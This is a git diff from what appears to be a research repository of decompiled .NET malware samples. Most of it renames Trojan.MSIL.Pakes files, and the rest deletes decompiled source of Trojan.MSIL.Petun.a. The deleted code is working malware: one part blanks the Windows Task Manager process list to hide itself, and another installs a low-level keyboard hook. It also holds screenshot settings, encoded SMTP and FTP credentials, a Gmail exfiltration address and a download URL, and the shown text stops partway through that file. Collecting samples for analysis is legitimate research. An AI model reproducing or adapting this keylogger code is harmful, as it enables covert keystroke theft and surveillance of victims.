a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/lSfgApatkdxsVcGcrktoFd.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/lSfgApatkdxsVcGcrktoFd.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/lSfgApatkdxsVcGcrktoFd.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/aR3nbf8dQp2feLmk31/lSfgApatkdxsVcGcrktoFd.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/ProjectInstaller.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/winlogon.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/winlogon.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/winlogon.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/winlogon/winlogon.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.gm-551279cf0483f4f02f1f984b1f7a2ef9140e912ff28c1b994bba67f783b2663a/zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/Trojan.MSIL.Pakes.y.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÄÂÂ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÄÂÂ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÄÂÂ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÄÂÂ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÖÒÓ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÖÒÓ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÖÒÓ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ÖÒÓ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ĐĩĺĤġ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ĐĩĺĤġ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ĐĩĺĤġ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-c29fb9f40c98e6270feaa0fd7e9ce7505340af03b424932a064ade0513a5c4a1/ĐĩĺĤġ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/Trojan.MSIL.Pakes.y.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÄÂÂ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÄÂÂ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÄÂÂ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÄÂÂ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÖÒÓ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÖÒÓ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÖÒÓ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ÖÒÓ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ĐĩĺĤġ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ĐĩĺĤġ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ĐĩĺĤġ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.y-fed23795c90c49dca3a3d6d4d72e410ebc85f0dd7e9ec2d1258c1ca4623097ed/ĐĩĺĤġ.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ESabkJ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ESabkJ.cs deleted file mode 100644 index 43aa6bfd..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ESabkJ.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ESabkJ -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ESabkJ -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - ESabkJ.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) ESabkJ.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - ESabkJ.EnumChildWindows(window, new ESabkJ.EnumDelegate(ESabkJ.EnumChildWindows), 0); - } - - public static bool Running - { - get => ESabkJ.t.Enabled; - set - { - if (value) - { - if (ESabkJ.t.Interval != 500) - { - Timer t = ESabkJ.t; - ESabkJ.t.Tick += new EventHandler(ESabkJ.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - ESabkJ.t.Enabled = true; - ESabkJ.t.Start(); - } - } - else - { - ESabkJ.t.Enabled = false; - ESabkJ.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = ESabkJ.GetClass(lngHwnd); - string titleText = ESabkJ.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - ESabkJ.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - ESabkJ.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (ESabkJ.GetWindowTextLength(handle) + 1); - ESabkJ.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Module1.cs deleted file mode 100644 index eb41fd4b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool ZNLFXUqNl = false; - private static bool DxbqK = false; - private static bool NVWUZ = false; - private static bool QPfil = false; - private static bool IpsNptISn = false; - private static bool wBbCNHZWs = false; - private static string sQLoqXrwF = "20"; - private static string CPOeilcCR = "MaD"; - private static int mzZZBJWxS = 1; - private static string eOZeam = "hTuR"; - public static string DgiPVo = "CurrentUser"; - private static string eQWduV = "drZqcg"; - private static string RvtbQk = "okYtjaoyhh"; - private static string ZZBJVx = "softextreme.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool kewtQz = false; - private static string ZbkIpTiP = "http://www.exampleserver.com/directfile.exe"; - private static bool eQJQtVGW = false; - private static string WqgXlvee = "setup.exe"; - private static bool cYkBQlZ = true; - private static bool LqOgsgd = false; - private static string YUfwxT = "LHs1gVoZGRA="; - private static string QufaPj = "ftp.exampleserver.com"; - private static string cIPiqf = "LHs1gVoZGRA="; - private static string JCJnOz = "/"; - private static string mukQYZX = "smtp.gmail.com"; - private static string ilogFUN = "ZlZPCMxqX3+i0rK8ZdsDPGEyST58/VwABbkHU9Zf+R8="; - private static string HqEddFNZC = "0xOL2Z0Lqga1xdyDJgCQHw=="; - private static string xUEPURctI = "bilbobaghins92@gmail.com"; - private static string zIwdYYXcN = "587"; - private static string qUyweTneV = "----[ "; - private static string BUzYpCqnh = " ]----"; - private static bool tPQaxeIYE; - private static bool UFxFjKvM; - private static bool Ztjaoyhh = true; - private static bool QUtifZro = true; - private static bool CDMWRuKd = true; - private static bool sdWeIVUk = true; - private const int gsJYt = 257; - private const short IKqKQ = 256; - private const int QPUqx = 260; - private const int MPSKi = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string xSuyNXsG; - - public static string UYxmjdvs - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string LNWgbEUm - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string QBuCfsrI - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string giEgkyJ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string pWoaeEe - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.adUtWClh lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int wVmNnysLt(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string PnfbnEToc() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object taijhmKRY() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void FBNQeBCL() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.BnaCXWygx); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void Ktbdybftp() - { - try - { - if (!Conversions.ToBoolean(Module1.taijhmKRY()) || Module1.wVmNnysLt((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string dDRK( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } 